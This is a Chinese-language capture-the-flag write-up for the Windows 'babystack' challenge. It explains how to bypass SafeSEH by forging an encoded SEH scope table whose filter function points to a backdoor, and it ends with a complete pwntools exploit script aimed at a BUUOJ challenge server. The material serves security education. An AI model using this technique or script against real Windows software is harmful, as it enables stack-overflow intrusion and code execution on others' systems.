0%

(windows SEH利用)babystack

用IDA分析一下,栈溢出漏洞

但是程序结尾不能ret,直接exit了

我们注意到,程序开始时,注册了SHE处理

当程序发生异常,比如访问非法地址时,将造成异常,如果程序有注册SHE异常处理,则使用相关的handler来处理异常。

push offset stru_403688压入了一个结构体地址,这个结构体是SEH SCOPE TABLE,它的结构如下

其中我们注意到里面有两个函数指针,如果我们能够伪造一个这样的结构体,并把函数指针指向后门函数,就可以达到目的。

push offset __except_handler4压入了一个异常处理的handler,如果程序没有开启SAFE SHE,那么我们不需要伪造SEH SCOPE TABLE,直接覆盖这个handler指针为后门函数地址即可,但是如果开启了SAFE SHE,那么程序会检测hanlder是否在某一个合法的范围内,就如glibc下面的vtable范围检查一样。因此,在SAFE SHE下,我们可以通过伪造SEH SCOPE TABLE来达到利用。

__except_handler4的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3

if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

从__except_handler4源码中,我们看到,我们只需要伪造好了*FilterFunc,*即可执行相应的函数。

xor [ebp+ms_exc.registration.ScopeTable], eax会将栈里的SHE ScopeTable指针与___security_cookie进行加密,因此,我们伪造SHE ScopeTable指针时,也需要加密一遍。我们仅需要修改栈里scopeTbale指针,而不要把其他的SHE帧里其他的给改了,sehFrame 的结构如下

大小为0x18,从IDA的F5中也可以发现

从__except_handler4的源码中看到,还有一个ValidateLocalCookies函数对cookie的验证,类似于linux下的canary验证,我们只需要调试,确定好其位置,然后计算其值,写入即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf8
from pwn import *

#sh = remote('192.168.232.1',6666)
sh = remote('node3.buuoj.cn',26098)
def get_data(addr):
sh.sendlineafter('Do you want to know more?','yes')
sh.sendlineafter('Where do you want to know',str(addr))
sh.recvuntil('value is ')
data = int(sh.recvuntil('\r\n',drop = True),16)
return data

sh.recvuntil('stack address = ')
stack_addr = int(sh.recvuntil('\r\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)
sh.recvuntil('main address = ')
exe_base = int(sh.recvuntil('\r\n',drop = True),16) - 0x10B0
backdoor = exe_base + 0x138D
security_cookie_addr = exe_base + 0x4004
print 'exe_base=',hex(exe_base)
print 'backdoor=',hex(backdoor)
print 'security_cookie_addr=',hex(security_cookie_addr)
security_cookie = get_data(security_cookie_addr)
print 'security_cookie=',hex(security_cookie)
#伪造SEH SCOPE TABLE
SEH_scope_table = p32(0xFFFFFFE4) #GSCookieOffset
SEH_scope_table += p32(0) #GSCookieXorOffset
SEH_scope_table += p32(0xFFFFFF20) #EHCookieOffset
SEH_scope_table += p32(0) #EHCookieXorOffset
SEH_scope_table += p32(0xFFFFFFFE) #EncloseingLevel
SEH_scope_table += p32(backdoor) #FilterFunc,伪造为后门函数地址
SEH_scope_table += p32(0) #HandlerFunc

payload = 'a'*0x10 + SEH_scope_table
fake_SEH_scope_table_addr = stack_addr + 0x10
payload= payload.ljust(0x80,'a')

payload += p32((stack_addr + 0x9C) ^ security_cookie) #ValidateLocalCookies的校验
#CPPEH_RECORD结构体
payload += p32(stack_addr - 0x44) #esp
payload += p32(0)
payload += p32(stack_addr + 0xD4) #Next
payload += p32(exe_base + 0x1460) #ExceptionHandler
payload += p32(fake_SEH_scope_table_addr ^ security_cookie) #Scope Table
payload += p32(0) #TryLevel

sh.sendlineafter('Do you want to know more?','n')
sh.sendline(payload)
sh.sendlineafter('Do you want to know more?','yes')
sh.sendlineafter('Where do you want to know','1') #地址异常触发SEH调用我们的后门函数

sh.interactive()